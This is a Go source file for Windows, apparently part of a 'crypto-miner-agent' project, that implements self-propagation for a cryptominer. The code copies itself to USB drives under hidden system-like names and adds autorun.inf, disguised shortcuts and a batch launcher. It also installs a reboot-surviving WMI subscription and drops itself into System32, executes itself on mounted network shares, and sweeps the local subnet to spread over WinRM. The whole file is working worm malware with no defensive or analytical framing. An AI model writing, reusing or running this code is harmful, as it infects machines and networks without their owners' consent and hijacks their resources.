//go:build windows

package deploy

import (
	"fmt"
	"log"
	"math/rand"
	"net"
	"os"
	"path/filepath"
	"strings"
	"sync"
	"syscall"
	"time"
	"unsafe"

	"crypto-miner-agent/config"
)

// -----------------------------------------------------------------------
//  Entry point
// -----------------------------------------------------------------------

// StartPassiveSpreader starts background goroutines that spread via
// environment-triggered events rather than active subnet scanning:
//   - USB drive insertion  → copy + autorun + LNK shortcut
//   - Mounted network shares → drop payload + helper
//   - WMI event subscription  → persistent USB trigger (survives reboots)
//   - PowerShell Remoting     → opportunistic WinRM spread on LAN
func StartPassiveSpreader(cfg config.RuntimeConfig) {
	if !cfg.USBSpread && !cfg.ShareSpread {
		return
	}
	log.Printf("[passive-spread] initialising (usb=%v share=%v)", cfg.USBSpread, cfg.ShareSpread)
	if cfg.USBSpread {
		go runUSBWatcher(cfg)
		go installWMIUSBTrigger(cfg) // persistent, survives reboots
	}
	if cfg.ShareSpread {
		go runShareWatcher(cfg)
		go runPSRemotingSpread(cfg) // opportunistic WinRM
	}
}

// -----------------------------------------------------------------------
//  Win32 drive enumeration
// -----------------------------------------------------------------------

var (
	modkernel32            = syscall.NewLazyDLL("kernel32.dll")
	procGetLogicalDrives   = modkernel32.NewProc("GetLogicalDrives")
	procGetDriveTypeW      = modkernel32.NewProc("GetDriveTypeW")
	procSetFileAttributesW = modkernel32.NewProc("SetFileAttributesW")
)

const (
	driveRemovable = 2
	driveRemote    = 4
	attrHidden     = 0x02
	attrSystem     = 0x04
)

func getLogicalDrives() []string {
	r, _, _ := procGetLogicalDrives.Call()
	var drives []string
	for i := 0; i < 26; i++ {
		if r&(1<<uint(i)) != 0 {
			drives = append(drives, string(rune('A'+i))+":\\")
		}
	}
	return drives
}

func getDriveType(root string) uint32 {
	ptr, _ := syscall.UTF16PtrFromString(root)
	r, _, _ := procGetDriveTypeW.Call(uintptr(unsafe.Pointer(ptr)))
	return uint32(r)
}

func setHiddenSystem(path string) {
	ptr, err := syscall.UTF16PtrFromString(path)
	if err != nil {
		return
	}
	_, _, _ = procSetFileAttributesW.Call(uintptr(unsafe.Pointer(ptr)),
		uintptr(attrHidden|attrSystem))
}

// -----------------------------------------------------------------------
//  USB watcher
// -----------------------------------------------------------------------

// knownDropDirs is the set of hidden directory names we may use as drop dirs.
var knownDropDirs = []string{"~RECYCLER", "System Volume Information", "$WinMetadata", ".thumbs"}

// runUSBWatcher polls for removable drives every 8 seconds and spreads to any
// that don't already carry an up-to-date payload.
func runUSBWatcher(cfg config.RuntimeConfig) {
	// Track drives + the size of the payload we last wrote to each.
	// Storing the exe size BEFORE launching the goroutine prevents the ticker
	// from re-triggering a spread on every cycle (payloadSize 0 != exeSize).
	type driveState struct{ payloadSize int64 }
	state := map[string]driveState{}

	exePath, err := os.Executable()
	if err != nil {
		return
	}
	exeInfo, err := os.Stat(exePath)
	if err != nil {
		return
	}
	currentSize := exeInfo.Size()

	// Check drives already present when the agent starts — spread to any that
	// are missing or stale (different binary size), don't just skip them.
	for _, d := range getLogicalDrives() {
		if getDriveType(d) == driveRemovable {
			size, found := findUSBPayloadSize(d)
			if !found || isPayloadStale(exePath, size) {
				// Mark with current exe size NOW so the ticker never re-fires
				// for this drive while the goroutine is still running.
				state[d] = driveState{payloadSize: currentSize}
				go spreadToUSB(cfg, d)
			} else {
				state[d] = driveState{payloadSize: size}
			}
		}
	}

	ticker := time.NewTicker(8 * time.Second)
	defer ticker.Stop()
	for range ticker.C {
		exeInfo, err := os.Stat(exePath)
		if err != nil {
			continue
		}
		for _, d := range getLogicalDrives() {
			if getDriveType(d) != driveRemovable {
				continue
			}
			prev, seen := state[d]
			if !seen {
				// Brand-new drive just inserted — record size before goroutine.
				log.Printf("[passive-spread] new USB drive: %s", d)
				state[d] = driveState{payloadSize: exeInfo.Size()}
				go spreadToUSB(cfg, d)
				continue
			}
			// Refresh only when the running binary is genuinely newer.
			if prev.payloadSize != exeInfo.Size() {
				log.Printf("[passive-spread] refreshing stale payload on %s", d)
				state[d] = driveState{payloadSize: exeInfo.Size()}
				go spreadToUSB(cfg, d)
			}
		}
	}
}

// findUSBPayloadSize scans the known drop dirs on drive and returns the file
// size of the first .exe found, plus a bool indicating success.
func findUSBPayloadSize(drive string) (size int64, found bool) {
	for _, dir := range knownDropDirs {
		entries, err := os.ReadDir(filepath.Join(drive, dir))
		if err != nil {
			continue
		}
		for _, e := range entries {
			if !e.IsDir() && strings.HasSuffix(strings.ToLower(e.Name()), ".exe") {
				fi, err := e.Info()
				if err == nil {
					return fi.Size(), true
				}
			}
		}
	}
	return 0, false
}

// spreadToUSB copies the agent onto a removable drive using four techniques:
//  1. Hidden drop dir  — binary in a disguised system subfolder
//  2. autorun.inf      — legacy auto-execute (XP/Vista/7)
//  3. LNK shortcut     — folder icon; user double-clicks it (Win8+)
//  4. SETUP.BAT        — plain visible batch file as fallback trigger
//  5. Decoy folder     — fake "Documents" folder so drive looks natural
func spreadToUSB(cfg config.RuntimeConfig, drive string) {
	exePath, err := os.Executable()
	if err != nil {
		return
	}

	// Randomised drop directory that looks like a Windows system folder.
	dropDir := filepath.Join(drive, knownDropDirs[rand.Intn(len(knownDropDirs))])
	if err := os.MkdirAll(dropDir, 0755); err != nil {
		return
	}
	setHiddenSystem(dropDir)

	destName := usbPayloadName(cfg)
	destBin := filepath.Join(dropDir, destName)
	if err := copyFile(exePath, destBin); err != nil {
		return
	}
	setHiddenSystem(destBin)
	log.Printf("[passive-spread] agent copied to %s", destBin)

	relBin := `\` + filepath.Join(filepath.Base(dropDir), destName)

	// 1. autorun.inf (works on XP/Vista/7; silently ignored on Win8+)
	autorun := fmt.Sprintf("[autorun]\r\nopen=%s\r\nshell\\open\\command=%s\r\naction=Open folder to view files\r\n",
		relBin, relBin,
	)
	_ = os.WriteFile(filepath.Join(drive, "autorun.inf"), []byte(autorun), 0644)
	setHiddenSystem(filepath.Join(drive, "autorun.inf"))

	// 2. LNK shortcut — folder icon, minimised window
	lnkName := pickLinkName(drive)
	createFolderShortcut(drive, lnkName, destBin)

	// 3. SETUP.BAT — visible plain-text trigger; searches all known drop dirs
	//    so it works even if the LNK is deleted. The bat runs the exe minimised.
	batLines := "@echo off\r\n"
	for _, dir := range knownDropDirs {
		batLines += fmt.Sprintf("if exist \"%%~dp0%s\\*.exe\" (for %%%%F in (\"%%~dp0%s\\*.exe\") do (start \"\" /min \"%%%%F\" --run & goto :done))\r\n",
			dir, dir)
	}
	batLines += ":done\r\n"
	batPath := filepath.Join(drive, "SETUP.BAT")
	_ = os.WriteFile(batPath, []byte(batLines), 0644)

}

// usbPayloadName returns a plausible system binary name for the USB payload.
func usbPayloadName(cfg config.RuntimeConfig) string {
	candidates := []string{
		"WinSetup.exe",
		"diskutil.exe",
		"AutoPlay.exe",
		"IndexerHelper.exe",
		"SyncCenter.exe",
	}
	if cfg.StealthMode {
		return candidates[rand.Intn(len(candidates))]
	}
	name := sanitizeName(cfg.WorkerName)
	if name != "" {
		return name + ".exe"
	}
	return candidates[rand.Intn(len(candidates))]
}

// pickLinkName looks at top-level directories on the drive and returns a
// shortcut name that mirrors the first real directory found, so the LNK
// blends in with the drive's existing contents.
func pickLinkName(drive string) string {
	entries, err := os.ReadDir(drive)
	if err != nil {
		return "Open Documents"
	}
	for _, e := range entries {
		if !e.IsDir() {
			continue
		}
		n := e.Name()
		if strings.HasPrefix(n, "~") || strings.HasPrefix(n, "$") || strings.HasPrefix(n, ".") {
			continue
		}
		return n
	}
	return "Open Documents"
}


// createFolderShortcut uses PowerShell's WScript.Shell COM object to
// create an LNK shortcut with a folder icon that silently runs destBin.
func createFolderShortcut(dir, name, destBin string) {
	lnkPath := filepath.Join(dir, name+".lnk")
	// WindowStyle 7 = minimised (invisible to the user)
	ps := fmt.Sprintf(`
$ws = New-Object -ComObject WScript.Shell
$lnk = $ws.CreateShortcut('%s')
$lnk.TargetPath = '%s'
$lnk.IconLocation = 'shell32.dll,3'
$lnk.WindowStyle = 7
$lnk.Description = 'Open'
$lnk.Save()
`,
		strings.ReplaceAll(lnkPath, `'`, `''`),
		strings.ReplaceAll(destBin, `'`, `''`),
	)
	_ = HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
}

// -----------------------------------------------------------------------
//  WMI permanent event subscription
//  Fires every time any removable volume mounts — survives reboots.
//  Requires admin; silently skipped if not elevated.
// -----------------------------------------------------------------------

func installWMIUSBTrigger(cfg config.RuntimeConfig) {
	exePath, err := os.Executable()
	if err != nil {
		return
	}
	destName := usbPayloadName(cfg)
	// Template uses %TargetInstance.DriveLetter% which WMI expands at fire-time.
	copyCmd := fmt.Sprintf(`cmd /c copy /Y "%s" "%%TargetInstance.DriveLetter%%\\%s" & "%%TargetInstance.DriveLetter%%\\%s" %s`,
		strings.ReplaceAll(exePath, `"`, `\"`),
		destName,
		destName,
		runFlag,
	)
	// Escape single-quotes for PowerShell string embedding
	copyCmdPS := strings.ReplaceAll(copyCmd, `'`, `''`)
	exePathPS := strings.ReplaceAll(exePath, `'`, `''`)

	ps := fmt.Sprintf(`
$ns = 'root\subscription'
$filterName = 'AetherUSBFilter'
$consumerName = 'AetherUSBConsumer'

# Idempotent: remove stale bindings first
Get-WMIObject -Namespace $ns -Class __FilterToConsumerBinding -EA SilentlyContinue |
    Where-Object { $_.Filter -match $filterName } | Remove-WMIObject -EA SilentlyContinue
Get-WMIObject -Namespace $ns -Class __EventFilter      -Filter "Name='$filterName'"    -EA SilentlyContinue | Remove-WMIObject -EA SilentlyContinue
Get-WMIObject -Namespace $ns -Class CommandLineEventConsumer -Filter "Name='$consumerName'" -EA SilentlyContinue | Remove-WMIObject -EA SilentlyContinue

$filterArgs = @{
    Name           = '$filterName'
    EventNamespace = 'root\cimv2'
    QueryLanguage  = 'WQL'
    Query          = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Volume' AND TargetInstance.DriveType = 2"
}
$filter = Set-WmiInstance -Namespace $ns -Class __EventFilter -Arguments $filterArgs -EA Stop

$consumerArgs = @{
    Name                = '$consumerName'
    CommandLineTemplate = '%s'
    RunInteractively    = $false
}
$consumer = Set-WmiInstance -Namespace $ns -Class CommandLineEventConsumer -Arguments $consumerArgs -EA Stop

Set-WmiInstance -Namespace $ns -Class __FilterToConsumerBinding -Arguments @{Filter=$filter;Consumer=$consumer} -EA Stop | Out-Null

# Also copy the agent to a system location so the WMI consumer can find it
# even if the original path changes.
$dest = "$env:SYSTEMROOT\System32\%s"
Copy-Item '%s' $dest -Force -EA SilentlyContinue
`,
		copyCmdPS,
		destName,
		exePathPS,
	)

	if err := HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps); err == nil {
		log.Printf("[passive-spread] WMI USB subscription installed (persistent)")
	}
	// Non-admin failure is expected and harmless; polling still covers it.
}

// -----------------------------------------------------------------------
//  Mounted share watcher
// -----------------------------------------------------------------------

func runShareWatcher(cfg config.RuntimeConfig) {
	// Initial delay so the agent settles before doing share I/O
	time.Sleep(3 * time.Minute)
	ticker := time.NewTicker(8 * time.Minute)
	defer ticker.Stop()
	spreadSharesOnce.Do(func() { spreadToMountedShares(cfg) })
	for range ticker.C {
		spreadToMountedShares(cfg)
	}
}

var spreadSharesOnce sync.Once

func spreadToMountedShares(cfg config.RuntimeConfig) {
	exePath, err := os.Executable()
	if err != nil {
		return
	}
	for _, d := range getLogicalDrives() {
		if getDriveType(d) != driveRemote {
			continue
		}
		go dropOnShare(cfg, d, exePath)
	}
	// Also enumerate UNC paths from `net use`
	for _, unc := range listNetUse() {
		go dropOnShare(cfg, unc, exePath)
	}
}

func dropOnShare(cfg config.RuntimeConfig, sharePath, exePath string) {
	destName := sharePayloadName(cfg)
	// Drop into a temp-like subdirectory to avoid dropping in the share root.
	dropDir := filepath.Join(sharePath, ".tmp")
	if err := os.MkdirAll(dropDir, 0755); err != nil {
		// No write access — try root of share
		dropDir = sharePath
	}
	dest := filepath.Join(dropDir, destName)
	if _, err := os.Stat(dest); err == nil {
		return // already there
	}
	if err := copyFile(exePath, dest); err != nil {
		return
	}
	log.Printf("[passive-spread] dropped to share %s", dest)
	_ = HiddenStart(dest, runFlag)
}

func sharePayloadName(cfg config.RuntimeConfig) string {
	if !cfg.StealthMode {
		if n := sanitizeName(cfg.WorkerName); n != "" {
			return n + ".exe"
		}
	}
	return "WinMgmtSvc.exe"
}

// listNetUse parses `net use` output and returns active UNC paths.
func listNetUse() []string {
	out, err := HiddenOutput("net", "use")
	if err != nil {
		return nil
	}
	var paths []string
	for _, line := range strings.Split(string(out), "\n") {
		line = strings.TrimSpace(line)
		if !strings.HasPrefix(line, "OK") && !strings.HasPrefix(line, "Disconnected") {
			continue
		}
		fields := strings.Fields(line)
		for _, f := range fields {
			if strings.HasPrefix(f, `\\`) {
				paths = append(paths, f)
			}
		}
	}
	return paths
}

// -----------------------------------------------------------------------
//  PowerShell Remoting (WinRM) spread
//  Opportunistic: only fires if WinRM port 5985 is open on a LAN host.
// -----------------------------------------------------------------------

func runPSRemotingSpread(cfg config.RuntimeConfig) {
	time.Sleep(15 * time.Minute)
	ticker := time.NewTicker(6 * time.Hour)
	defer ticker.Stop()
	for {
		spreadViaPSRemoting(cfg)
		<-ticker.C
	}
}

func spreadViaPSRemoting(cfg config.RuntimeConfig) {
	exePath, err := os.Executable()
	if err != nil {
		return
	}
	destName := sharePayloadName(cfg)
	// ps script: copy binary to remote temp, execute hidden
	psBlock := fmt.Sprintf(`
$dest = "$env:TEMP\%s"
if (-not (Test-Path $dest)) {
    Copy-Item '%s' $dest -Force -EA SilentlyContinue
}
if (Test-Path $dest) {
    Start-Process $dest -WindowStyle Hidden -EA SilentlyContinue
}
`,
		destName,
		strings.ReplaceAll(exePath, `'`, `''`),
	)

	for _, ip := range getLocalIPs() {
		if !isIPv4(ip) {
			continue
		}
		subnet := getSubnet(ip)
		if subnet == "" {
			continue
		}
		for i := 1; i < 255; i++ {
			target, ok := ipv4SweepHost(subnet, i)
			if !ok {
				break
			}
			if target == ip {
				continue
			}
			spreadSem <- struct{}{}
			go func(t string) {
				defer func() { <-spreadSem }()
				tryPSRemote(t, psBlock, destName)
			}(target)
		}
	}
}

func tryPSRemote(target, scriptBlock, destName string) {
	// Quick port check on WinRM (5985 = HTTP, 5986 = HTTPS)
	if !portOpen(target, 5985, 1500*time.Millisecond) && !portOpen(target, 5986, 1500*time.Millisecond) {
		return
	}
	ps := fmt.Sprintf(`
$s = New-PSSession -ComputerName '%s' -EA SilentlyContinue
if ($s) {
    Invoke-Command -Session $s -ScriptBlock { %s } -EA SilentlyContinue
    Remove-PSSession $s -EA SilentlyContinue
}
`, target, scriptBlock)
	if err := HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps); err == nil {
		log.Printf("[passive-spread] PS remoting to %s succeeded", target)
	}
}

func portOpen(host string, port int, timeout time.Duration) bool {
	conn, err := net.DialTimeout("tcp", net.JoinHostPort(host, fmt.Sprintf("%d", port)), timeout)
	if err != nil {
		return false
	}
	conn.Close()
	return true
}